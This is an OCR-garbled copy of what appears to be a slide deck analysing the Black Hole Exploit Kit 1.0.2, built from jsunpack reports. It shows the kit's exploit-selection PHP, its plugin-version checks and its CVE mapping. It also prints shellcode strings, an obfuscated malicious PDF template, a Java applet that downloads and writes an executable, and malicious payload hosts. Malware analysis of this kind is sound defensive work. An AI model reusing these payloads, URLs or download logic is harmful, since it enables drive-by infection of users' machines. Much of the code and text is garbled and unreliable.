! 0,52 .- ?? ?6 ?2 84 84 80 34 41 .98 46 111 112 101 llU 32 34 ?1 69 .84 34 44 34 104 116 116 112 58 47 47 SU 48 48 46 54 51 46 5
2,54 46 5? 48 4? 1[]3 9? 1[]9 l[ll 115,47,104,99,112,95,118,98,115,46,112,104,112,63,102,61,51,52,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101, .,
116 32,65,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,

. TEesponse
¥ HM helpctr exe */

http://jsunpack.jeek.org/dec/go?report=789fal 1bdf3bfbbce?20b8ae3019b9df7/1ad6ecicid
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http://jsunpack.jeek.org/dec/go?report=789fa11bdf3bfbce20b8ae3019b9df71ad6c1c1d
http://jsunpack.jeek.org/dec/go?report=789fa11bdf3bfbce20b8ae3019b9df71ad6c1c1d

index.php =23

x $selectedExploit =2 2
of| M| (from: jsunpack)

x 9121 7.162:19

‘[nothing detected] script
:info: [iframe] 127.0.0,1/about:blank
info: [decodinglLevel=0] found JavaScript
: ||ne 7. SyntaxError: unterminated string literal:
: line: 7. document, wrlte(
s line: 7.
file: eZSCfd6dﬁ4a?00f2558694gaaec104?02d29(:9a: 23265 bytes

§Dec0ded Files
e23c/fd6dff4a7c0f25586949%aaec1c4702d29c9a from script (23265 bytes, 7577 hidden) download

GO T D G OE - U0 AUIC I T, T Yl EIITU = GUT UIIICIIT, U CATEC e T, UL I CIES 510 = ALY GO UUS =T T T=0 9= U0 U 990y I 2l IEUICII T, oSt { val T =
document. createElement('OBJECT");var ze = document. createElement('OBJECT ;uiu. type = 'application/npruntime-scriptable- plugin,deploymmttoolldt';ze.type = 'applicationfjava-deployment-
toolkit',document. body appdehﬂd(mu) docummt body. appdehﬂd(ze) Aty {uiulaunch(cg); }catch (e){ze launch(cg);}} } catch(e){ } ai(); } ; function ai){ try {varo=

0 : P - i 'clsid: 6BF52452-394A-11d3-B153-00C04F 79F AAG"); 0. setttribute "uilvlode", "mwsﬂale") if (parselnt(o. versionInfo) < 10)
{0 opemPlayer('http ffchltﬁ co. cc!gamesfhcp asx. php‘?f—19) zlse {var bh =" hepi//services/search? query=anything&topic=hcp://system/sysinfo/sysinfomain htmn% A% % A% % A% %0 A
; ' 7o 70 Yo Yo A% %o AV Yo A%e %o AV Yo A% e %o AV Yo AYe %o AV Yo AYe %o AV Yo AYe %o AV Yo A%e %o AV Yo AYe %o AYe Yo AYe Yo A% Yo A

http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14bbe 7324 ci8bi6f
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http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14b6e7324cf8bf6f
http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14b6e7324cf8bf6f

index.php =23

» $selectedExploit =2 3 or 4
x function dsfgsdfh
x Ddf.php,Adobe/Acrobat:<:600
® DAf2.php, 800 <="Adobe Acrobat < 931

if (sv<800){addp("./".( "ExploitsDir" )."/pdf.php?f=".%file."):} else if (sv>=800) && (sv<931)){addp(’./".
( "ExploitsDir" )."/pdf2.php?f=".%file.""):)
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index.php =4

» $selectedExploit =2 3 or 4

x function dsfgsdfh

20114 102 102 E2

ok~ ol olBHHoOo 58|l cC— oS Sl CC —
%_T'—— = 1 L L ll-_lg'l- L I-OEI' L

Encoding=[of =

“_obfusoate_DQO1JSKGKWOCPiY LjicmEwU

LwoAMQE | =0l ef=== & =ol”| O|scfet

A0 O
T HA S

D




index.php =23

» $selectedExploit =2 3 or 4
x function dsfgsdfh

F/wvOnSch3lling

{ fmaybe : electedExplli

fmaybe 03 == Windows
if [ | _obfuscate_DRomDthHxDSLxUnDjAHJBDaHAwSCwE [ 37, §selectedExploits ) ||
_ohfuscate DRomDhFbHxO3LxUnDjAHJBEOaMAw3CwE LS I 3 ectedExploits )
_ohfuscate DTwPKjkoDQQiKxwTMQOGHEQyWySoPyI [ L ‘ &2

— LUnCcL 10l S 1TOSCILI] ] 4|
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index.php =4

» $selectedExploit =2 3 or 4
x function dsfgsdfh

" JsunpaCkE =ofl h=2lE X 2&E= Javascript

7] =01 &

OII

x jsunpacks Javascript= A& i

OO s

= Javascripte g2 + U=
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index.php =4

» $selectedExploit =2 3 or 4

x function dsfgsdfh

| function dsfgsdfh() {
txy {

function addp(src) { $ShasMimeType: Ffuanction(a) {

var PluginDetect = { return function(d) {
handler: function(c, b, a) { AXO: window.ActiveXObject,
isDefined: function(b) { getdAX0: Ffunction(b, a) {
isArray: function(b) { convertFuncs: fanction(f) {
isFunc: function(b) { initScript: fuanction() {
isString: Ffanction(b) { PluginDetect.initScript()
isNum: function(b) { PluginDetect.getVersion{ ' .'):
isStrNum: Ffuanction(b) { var inp = PluginDetect.getVersion(' LdobeReader'
getNurRegx: /[4d] [hadh.\ * var sv = parselnt({inp[0] + inp[1] + inp[2]):

splitNuwRegx: /[4V.%V ,-1/g if (sv < 800) {

getNun: fuarnction(b, c) { addp(' ./gawes/pdf.php: )

compareNums: function(h, £, d) { } else if ((sv >= uUU} && (sv < 931)) {
addp( S games/ pdfZ . php? };

} catch(e) {}:
setTimeout(asgsat, 4000);

e
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index.php =4

» $selectedExploit =2 3 or 4

x pdf.php
« sc.phpZt Decoding=Ix| Sek7| w2 off $sc=

OF I oIS
El-_l— HA ™=

= pdf.php= 012} ExploitS Zgtsl US
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index.php =4

» $selectedExploit =2 3 or 4
x pdf.php:$pdf script B

pdf script = "var bisg='

function ezvr()

function bx() : CVE-2007-5659

function printf() : CVE-2008-2992

function geticon() : CVE-2009-0927

the other : CVE-2009-3424

PDF Generator

20114 109 102 &8




index.php =4

» $selectedExploit =2 3 or 4

x pdf.php
» jsunpack2 27 E $selectedExploit =2 20{| oH

ci5tes Sso2 92 4 S

var

bisg='3u20903u20903ultebsudShosul0013uShb003uZ4345uf7895uled0zu74e93 naclbiufli4sueZaasucifasuesSedsufff Lz u78£L£3 S0
9d3uf1913ul0cfsucd?7d3u9190%3ul82813ulc763usldesufelcsualeSsuctdasucZeliucZeZsucZeZsucZeZsucZedszufSczZzu909553u9191%u
c7c4suf9czZiufffesu9191s5uedfo9sufdedsucSicsulffosu9fdfzu797d3su91do9%u919135u79¢c15u9l1ledsu919135udléesusS5125uf9995 u7ede
3uf94de3su79c13uf91fd3u919135udldesusSil4suStediucSthiuc2e8sufo93biutfedsu87225u8c79%5u91915ucl1915uc079%5u91915u6e915uc
413ubffb3ulSfo93su90fe3u792c3u9199%5u91913u79c1l3uf8ladsuf91913udlcesualflzufsSSisucllasulaalsudeisuci lasulagsSsub9e3su
8928%u9191%ualf9lsualiesuddSlisufladsufiedsublbdsusSe505u809c3su7356%ullslsucatesudbZdiulafbsu81d3sud3lasudSeds uds518
zuSdbS53uSZf0sulafisubSfidsulabSsuadd4sucSlazuef9943u7bo03udblaszuladSsublchiu7a903uas723ulad8sulaasSsu7£905utealszusl

alzuddedizus1153uf96es5iusSesS0z w09 ciu7aseiuaacsSiwbhsSediued4bh9iula7703 wbhsSchiu7a203ulat73udafdiuchlazuf08dsula77asula9siu
79905 ud5185u8dh 5353 £05 191995 u7e795ubsecfiuf9cesueSeSiuabelsubebhbes 073 uede73 073 ued4fSsuf3bftsufSe3suf 653 ue3fg
zufdf4szufdfoszubfeisuededsutShesuelbfsuelf9suf7aesualaciub77adsuactf4su91a4!’
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index.php =23

» $selectedExploit =2 3 or 4
« pdf.php : PDFE exploit i

Ppdf_template = "%PDF-1.3\r'\n2 0 obj\r\n<<\r\n>>\r\nendobj\r\n3 O obj\r\n<<\r\n/Producer ({$pdf_script})\r
\n/CreationDate (D:2011725103251)\r\n>>\r\nendobj\r\n1 O obj\r\n<<\r\n/Pages 2 0 R\r\n/Names <</
JavaScript <</Names [() <</S /JavaScript\r\n/JS (".$pdf_script2."\r\n>>N\r\n>>\r\n>>\r\n>>\r\nendobj\r\nxref\r
\ntrailer\r\n<<\r\n/Root 1 0 R\r\n/Info 3 O R\r\n>>\r\nstartxreNr\n698\r\n% % EOF";

$pdf_script2 = ( "\\nvar <*n2>="";\r\n<*date> = new Date(2010,11,3,2);\\nvar <*e> = function(){return {e:eval}}
().e;\r\n<*s> = 'thi'+<*date>.getHours()+'ducer’;\n\n<*pr>=<*e>(<*s>.replace(2,'s.pro'));\r\nar = <*pr>.split('q’);
\n\nvar s = ';\r\nw = <*date>.getHours();\r\nvar <*qg> = 'fro'+<*date>.getHours()+'arCode";\r
\N<*gg>=<"qg>.replace(2,' mCh');\r\n<*ss>=String[<*qg>];\r\nfor (i = O; i < ar.length; i++) {\r\n\t<*g> = <*e>(ar
[I);\\N\ts += <*ss>(<*g>);\r\nf\r\n<*e>(s);\r\n" );
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index.php =23

» $selectedExploit =2 3 or 4
» pdf.php ; 2H2d w2l

Decoded Files
573f/d901deef892f9ebda34e0783a50ab2598462 from 195,80,151,155/games/pdf php?f=1 (29856
bytes, 56 hidden) download

%PDF-1.3 1 0 obj << /Pages 4 0 R MNames <</JavaScript <</Names [(test) <</S /JavaScript /JS ( var date = new Datet, *

(W), givg="; var g2 = date getFullYear'\(\)-2007; hwia='2011s" replacey date. getFullYear\(y), 'ha"); styc=y"tit2011").replacel
(date getFullYear\(V),'le'y), g=new Function('a','return t'+hwia+'. "+xtych); var lckon = g\(\); gmbc=Y"sub2011%) . replacel
(date getF ullYmr‘-(\) ject \) g=newW Function\( a','return t'+hwia+' '+gmk\) var ycfwf—g\(\) replace\(date getF ull Year',

http://jsunpack.jeek.org/dec/go?report=3c36b6a024153fbeb31dd1d9a9345ab7506ccf1f
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http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419
http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419

index.php =4

» $selectedExploit =2 3 or 4
x DA2.php
x LibTiff Z[SFA - CVEZ2010-0188
x X
class JavaScript

class JS

LibTiff Exploit
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index.php =4

» $selectedExploit =2 3 or 4
x DA2.php

class Javalcript

class JS

if ( !isset( § GET[

include | nfig.ph
§ fname § SERVER[
§ £name _obfuscate DT4JH10II18HLgYnA1pvawQIRDUAQE [ _obfuscate DTIfMBg4CRsICzYhDiI4LAEJLQCcDLiI

__FILE ), ( "DownloadFileNawe"” }).".php”, $fname )
§fname = obfuscate DT4JH10II18HLgYnA1pvawQIRDUAQE ( ( "ExploitsDir™ ). .m"/m, nr_ Sfname );
.$_SERVER[ SERVER NAME . 9 5 W ". ohfuscate DRKHJz41lOylAAIiEOLEQIZAMvJgUnIhE [ $_GET[
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index.php =23

» $selectedExploit =2 3 or 4
= Hhed I (pdf2.php)

Decoded Files
8855/688f816898f98f53085d691 111b13ac50018 from angl.cz.cc/aames/pdf2. php?f=22 (18158 bytes
9821 hidden) download

%PDF-1.6 % 1 0 obj<</MediaBox [0 0 580 842] /Type/Page /Contents 2 0 R /Parent 5 0 R /Resources 7 0 R>>endobj2  *

0 obj<</Filter/FlateDecode /Length 1653>> stream endstreamendoby> 0 obj<</Count 2 /Kids [1 0 R]
{Type/Pages>>endobjd 0 obj<</Subtype/Typel /BaseF ont/Anial Encoding/WinAnsiFncoding MName/F |1
{Type/Font>>endobi7 0 obj<</ProcSet [/PDF /Text /Imageb /ImageC /Imagel] Font <</F1 6 0 R>> /X0Object
<<>>>>endobd 0 obj<</Type/EmbeddedFile /[Length 86>> stream <7xml version="1.0" encoding="UTF-8"?><xdp:xdp

http://jsunpack.jeek.org/dec/go?report=57c2e3aa0c099¢317616be0092d00f81dc5e3035
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http://jsunpack.jeek.org/dec/go?report=57c2e3aa0c099c317616be0092d00f81dc5e3035
http://jsunpack.jeek.org/dec/go?report=57c2e3aa0c099c317616be0092d00f81dc5e3035

index.php =23

» $selectedExploit =2 3 or 4
of| M| (from: jsunpack)

x 195.80.151.66

script benign
[nothing detected] script
. info: [javascript variable] URL=http: —J-jar —J¥HWHAW 195,80, 151, 66 pub W new, avi
http:/vima,cz.cc/w.php?f=17&e=1 none
- info: [iframe] 127.0.0,1/about:blank
info: [decodinglevel=0] found JavaScript
file: 0d9Bbb7594f8115b8e6c582763actc8a3b457afc: 3000 byvtes

%Decoded Files
0d96/bb 7594f8115b8ebc582 763ac6c8a3b45 fafc from script (3000 bytes) download

( lh||RegExp $1=h)){h=RegExzp.$1}}} catch(g){ } f installed=h?1:.(p?0:- 1) (I f v&rsmn)

£ S1010=C . TOrNatNuTl I N LS Aalled 77 )} P =

Jl.d it ot.' 41.4

{1 setTimeout(asgsaf 4000%; };function asgsaf(){setTnneout(md redirect, 30[]0) }.ewvil),

http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419
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http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419
http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419

index.php =23

» $selectedExploit =2 3 or 4
of| M| (from: jsunpack)

x 195.80.151.91

{if(b.test(d)&&(Ih | |IRegExp.$1>h)){h=RegExp.$1}} Fcatch(g) { H.installed=h? 1:(p?0:=1) }if(If. version)
{f.version=c. formatNum(h)}f INSTALLED [ ]—f lnstalled}} Z 0} PIungetect |n|tScr|pt() Plungetect getie

--I --I-- -—-- ' A A~ A A — A~ =~ -1 I -1

(Sv<800){EEED( x’gamesfpdf php?f=1')} else if ((3v>—800) && (sv<-)){B{ED( x’gamesfpdf2 php?

ey = irreoltlasdsal, GuUUU): .

sgw=null: FSgW= document createElement( object ) JSOW, setAttnbute( '‘classid","clsid:’ +Ihqh[pabl]) if(sgw)
- al¥ ars Arnlieation L atls - ; b|++}zazo()}

. ternet Explorer')
{try{var Liu=document. createEIement( OBJECT )E Liu.classid= clsid: CAFEEFAC-DECT 0000-0000-
ABCDEFFEDCBA :uiu.launchicg): Fcatch(e){var

http://jsunpack.jeek.org/dec/getfile’?hash=d415/ddec8d12ecb9cfeac0e445104bf7548d5009
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http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419
http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419

index.php =23

» $selectedExploit =2 3 or 4

of| M| (from: jsunpack)

script benign
[nothing detected] script
. info: [decodinglLevel=0] found JavaScript

L line: 3! SyntaxError: invalid assignment left-hand side:
L line: 3! fdfc%hubfe3%uede3%ufSheskue1bf%ue1f9%uf 7Tae%ualachub7ad8%uacf4%uglad’ function !
ezvi(ra, ay){while(ra.length+2=9, 1) | | (Iv<=9.2) | | (Iv>=8.13) | | {Iv<=8,1 7)) {function a{)
AutilprintdC'p@11T11T11T11T1T111111111117 2 wywyw111', new Date()): Fvar h=app.pluglns:for(var f=0.f8
 line:3: -

file: 54d03961e0b446f1eabdc98951 72eS0bfb5d9096: 1503 bytes

%Decoded Files
54d0/3961e0b446f1eab4c9895172e90bfb5d9096 from script (1503 bytes) download

41%u6ffb%ul 8M%ud0fe%%u792c%ud199%ud191%u79c 1%ud 1lad%ud 1 91%ud 1 6e%%ualfl%ufs551%ucl 1a%ulaal %eudd
c3%uc3la%ulads%ubfe3%oudf28%ud191%ualf 1%ualde¥uids 1%uflad%eud3ed%oub 1 bd%use50%ul09c%u7 356%ul
061%ucate¥udb2d%ulafb%udl di%ud 3 la%ud8ed%uds 18%uddh5%us 2f0%ulaf1 Yeubsfd%eulabs%uaddd4%ucs 1a%ue
094%u7b90%udb la%ulag®%ublch%u7a®0%uas7 2%ulad8%ulaas%eu7 P 0%ubeal%us 1al%u3déd¥%us 1 15%ul6e5%u .,
5e50%u209c%u7as6%uaat S%ubsed%%uedh9%ula7 0% ubsch%u7a%0%ulaf7%uda%d%uch 1a%ul08d%ula7a%ula®5%u

http://jsunpack.jeek.org/dec/go?report=adc1016ee0e23e53ba867e9d3bal6¢c741f26¢509
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http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419
http://jsunpack.jeek.org/dec/go?report=2b71f002a71a9ce4a9f4d496b2d1a9caa598e419

index.php =23

x $selectedExploit =25
x function asgsaf : CVE-2010-0806
2 B <=7.0; Not Windows 7

if (_obfuscate_ DRomDhFoHx03L.xUnDjAHJBOaMAW3CWE |( "5", $selectedExploits ) && $Client['name'] ==
"msie" && _obfuscate_DSofATspGzcnOSYuORwWTGCgMwQBhE |( $Client['version'], "7.0", "<=") && $Client
['os'] I= "Windows 7" )
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index.php =23

x $selectedExploit =25
x function asgsat

x obfuscate :PDQAGgOQCMMhEKPSUVOQERFA
MIEAKaKT I B =0l $se = &+ Bl

_ohfuscate DQ‘IqOQcmHhEKPSU‘UOQERFAHlEAkaKTI | _obfuscate_DQqHLQDSHiUYLzwlewaABbHTQDPRE [
furltoexe. 5" | J.°' ' ' :
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index.php =23

x $selectedExploit =25
x function asgsat

= jsunpack2 =B $selectedExploit =2 2, 3, 4
O CHSot=$sc HT= =7 U=

= | A

var sc =

'5u9090%ul0903uleeb3u3d 6b93u00015u8hb00%u24345uf789%u3ed803u74e93uacl6sudiidsueZaasucifasueSedsuffffsudlffsudod4sud
8dB8%uS59863%5u8434%5ud8do95u51d83usS53£3uc89 75 ub 7555 ue98c3us8f03%5uShbE89%5uSh8b% uSh8b3s uSh8b% uSh8ds wb08b% ud9de s udS8dss usSesds
ub08b3ubtbh73ud8d8s uadb03 ub4aasuSchS3uSebh03udE963u30343ud890%5udS8dE83u3 0885 udSad43ud8d85suls82 73 ulecShsub0d03 u3 7975 udds
75030885 udB8b43ud8d83ul82735uls8SdsucfadsuScbhZsuZb813ub0723uZ faasucetbh3ucS5305ud8dE85u88d85u893 05 ud8d8su2 7d8%3 ushb0835u2
6h2%uS1b03udSh75u30655ud8d0%3ud8d83u3 08585 udSe43uds8d83ul8275uefbh835ube 185 u88535uS3e8sud48asu8asSisusSicesuflaasucl6ls
ud8d83uefdisuef2 73 u74183 ub%e4sudaads ufSf45ul7195ud9dS3su3alfsusS9283u83275u92 6435 uS3b2suc89asucasSisullads uScS1isucat
c3ulbhb9%us53b8%ufch43usS3ifosuedfdsuseS533ualddsu3iZdo93zu92535usS3c03uf8825u33d93uec3b3us3913usS3iecsui 6do9suz2 7e93ul8e9S3u7?

4Z24%ul85csudfaciul?195ud9d5%u33l1fsuediciufcads uadfosus3i3iosufc8Zsud3dos usS3ibesu93d43usZ 5335 ud9cd5us3335us53desu3idss

uocsSizucdfoeszulabho9szudsd0zu3d 7303 u2 7263 wbh0Z2 73 nacacizueZagzut 773 uwaftbheiueaaaswbhbifosufocazs bbbz wwec 73 uwasf oz uashls ubee
TzuefesSiubdfesuedesSsu00d43! ;
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index.php =23

x $selectedExploit =25
of| M| (from: jsunpack)

x 195.80:151.93

7a15/7b7e46e4a384dd45dd01f060635368892b5d from upload (4984 bytes, 83 hidden) download

0,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,60,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,1 *
07, 107 105, 108 108 32 A47,70,32,47,73,77,32, 1[]4 101, 108 112 99, 116 114,46,101, 12[] 010, <:fscript> f** called

document.location); }mrq. setAtmbute(“SnaQTD" document. getElanmtsByName(“style")) var ift =
document. getElementById( "hello");hello.location href = "about:w0COCWOCOICWOCOCWOCOChlank";} catch (e)

http://jsunpack.jeek.org/dec/go?report=a05d2ccd2f7120597d75bdcf77ba8c8f5df623e4
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http://jsunpack.jeek.org/dec/go?report=a05d2ccd2f7120597d75bdcf77ba8c8f5df623e4
http://jsunpack.jeek.org/dec/go?report=a05d2ccd2f7120597d75bdcf77ba8c8f5df623e4

index.php =23

x $selectedExploit =7 6

x function end redirect : CVE-2010-0840,
CVE-2010-0842

« javaobejar(./games/javaocbe jar= = off, Java
= 28 = Exploit

= peers 2227 javaobe.jar) Abs 5=
dskvnds= Ofoli e -+ e

20114 10 10 222l




index.php =23

x $selectedExploit =7 6

f/wOnSch3lling

/fmaybe §selectedExploits

// javaobe. jar

if ([ _obfuscate DRomDhFbHxO3LxUnDjAHJEOaMAw3CwE [ "6, §selectedExploits ) )

sghrhd4634'

_ohfuscate DTc?chOPBocBBERJJwSCEAZKCIJLCI [ furltoexe. 65"

f/wOnSch3lling

f/fwvariable $exploitsContent is not null

if | < _obfuscate DQUKDz4LLhwXMRY1DzMvDikHHBwYKyI { $exploitsContent | ||
_ohfuscate DQUKDz4LLhwXMRY1DzMvDikHHBEwYKyI | SexploitsContent_NOJS 1)

echo "<} ".$exploitsContent NOJS.

Tt =Y p.w -y~ ~R.TECT a =1~

.$exploitsContent
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index.php =23

x $selectedExploit =7 6

x javaobe.jar i URLEFE Lz = = B a(str
dskvnd B4 7X)

//vOnSch3lling

//str = value of dskvnds
URL lllo = new URL(srtr1);
int pizdeeeetc = 10;
boolean bbb = true;
String is = "s;f";

InputStream LsIS = lllo.openStream();

String dcasm = "dsfvnef]";
boolean ascmsa = true;

//vOnSchalling

//Create [Temp Dir]/[RAND].exe
FileOutputStream ofo = new
FileOutputStream(srtr9 + srir8);
byte[] asw = new byte[1024];
int i;

llo.openConnection();
int oaznc = 10;
boolean ii = false;
String b10487 = "ee";

2011 10€ 10




index.php =23

x $selectedExploit =7 6

® |avaobe.jar

% jsunpackS 25 E dskvndsE @

public class peers extends Applet

{

nLblic void start()
<param name='dskvnds' value='DVV3T|NFVgcNZcNNjdc3D3EtKU%zK1 />

try
{
String srtr1 = editor.b(getParameter

20114 102 102 E2




index.php =23

x $selectedExploit =7 6

public static String b(String ps)
{
String s = ps; // vOnScha3lling : ps = dskvnds = DVV3TjiNFVgcNZcNNjdc3D3EtKU%zK1
String str ="
String s1 = qu8/A".concat("10—e:FN".Concat("dzthPan".Concat("G5h3|aI\/.2".Concat("yw?ZR".Concat
("YBOX:kir".concat("JMB79".concat("bxSQC_".concat("Wvsmg#jc".concat(" T4HE%K&o"))))));
String s2 = "01234".concat("56789abcd".concat("efghijk".concat("Imnopagrs"”.concat("tuvwxyz".concat
("ABCDEFG".concat("HIJKLMN".concat("OPQRSTUV".concat("WXY/Z/.:_".concat("-?&=%#"))))))));
for (inti= 0; i< s.length(); i++)
{
String s9 = s.substring(i, i + 1);
int j = s1.indexOf(s9);
if (| <=-1)
continue;
str = str + s2.substring(, j + 1);

}

return str; //vOnSch3lling : str = http://cbtl.cz.cc/d.php?f=2&e=6

2011 10€ 10



http://cbt1.cz.cc/d.php?f=2&e=6
http://cbt1.cz.cc/d.php?f=2&e=6

index.php =24

x $selectedExploit =7 6

w Ofod T}l 277

= javaobe.jar= http://cbtl.cz.cc/d.php?
f=D&e=60=F-E = "t AlSH

« I{Lf LinkZE7Nd QS 18| F

12|S E
I = =]
ofl LinkO{| E{st A HE oS == ool

o [
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http://cbt1.cz.cc/d.php?f=2&e=6
http://cbt1.cz.cc/d.php?f=2&e=6
http://cbt1.cz.cc/d.php?f=2&e=6
http://cbt1.cz.cc/d.php?f=2&e=6

index.php =23

x $selectedExploit =7 6

of| M| (from jsunpack)

® tMI2.CO.CC

éDecoded Files
0dc2/06882620551ec4df28f3cbb652d {2201a943 fromitmi2 co, cc/imgurl. php?hl=934ce569ecs02dd4

(154409 bytes) download
<body=<applet 1d="sghrh4634' code='vandex xmlparser. class' title="asgaha

name=gskvnds' value="DVV3Tjjdazlz5cNheNNjde 3D 3EIK U zK 1 > 4/applet = <fbody><scnpt> <fs cnpt><style>#c[l

{background:
url(data:,525,1723,1903,1992,336,562,460,1808,1576,120,1014,928 468,1235,6,1180,1861,1725,1422,718,496,174,894, .,

128,633,1999,1259,850,1363,1478,1862,240,1201,117,233,1537,1031,1045,1698,608,1165,712,1888,1986,1947,1895,1

http://jsunpack.jeek.org/dec/go?report=5c5060414e473a080000aacbfdf8e13cba816135
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http://jsunpack.jeek.org/dec/go?report=5c5060414e473a080000aa6bfdf8e13cba816135

index.php =23

x $selectedExploit =7 6
of| M| (from jsunpack)

x 195:60:151.91

§Decoded Files
0303f7f0d6b48dee3005dTaQTeﬂec8598ab9f804 from script {15305 bwvtes) download

"512,1509,770,246,1602,899,1756,145,719,1950,1521,819,967 1747 673,1374,298,1813,617,37,1429 63,335 ,488,392,9 .,
02,128,1015,1408,434,192,1920,295,1314,518,1897,213,275,394,1284,577,267,104,1896,366,777,1270,665,942,239 70

http://jsunpack.jeek.org/dec/go?report=8ccc8889423ff3a906aebf617a303c97d2d6e5a3
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http://jsunpack.jeek.org/dec/go?report=a05d2ccd2f7120597d75bdcf77ba8c8f5df623e4
http://jsunpack.jeek.org/dec/go?report=a05d2ccd2f7120597d75bdcf77ba8c8f5df623e4

index.php

x JavaScript 2

$selectedExploit
=70

$selectedExploit
=71

1

$selectedExploit
=72

ewvf()

l

Xkg()
gr()

CVE-2006-0003
ver(lE) < 7.0

zazo()

CVE-2009-1671
GCVE-2010-0886

A

LA S
Sar e

ai()

CVE-2006-6134
CVE-2010-1885
ver(lE) > 7.0
ver(lE) < 8.0

i

—

$selectedExploit
=?3or4

dsfgsdfh()

l

sfghhh()

CVE-2007-5659
CVE-2008-2992
CVE-2009-0927
CVE-2009-4324
CVE-2010-0188

$selectedExploit
s

asgasf()

CVE-2010-0806(7?)
ver(lE) <= 7.0
Not Windows 7

$selectedExploit
=76

> end_redirect()

CVE-2010-0840(?)
CVE-2010-0842(?)

=7?: We did not understand “_obfuscate_DRomDhFbHx03L.xUnDjAHJBOaMAwW3CwWEY( "0", $selectedExploits). So we just guess
that $selectedExploit == 0 or $threadData[“Threads”][0][Rules][O][ExploitSplit][0] or $threadData[“Threads”][0][Rules][O][ExploitSplit]

)
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ZE(1/2)

» 2| = Black Hole Exploit Kit 1.0.22 24 i<

ack Hole Exploit Kit 1.0.2+= 0121 Exploit= *&
of 1l oy = fll A0l E 7L Black Hole
Exploit Kite 2= gtetil =

|
|'|0|I J

x CH= Exploit Kit SA| srAtel o225 Zgiolal
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[

oll
0
I
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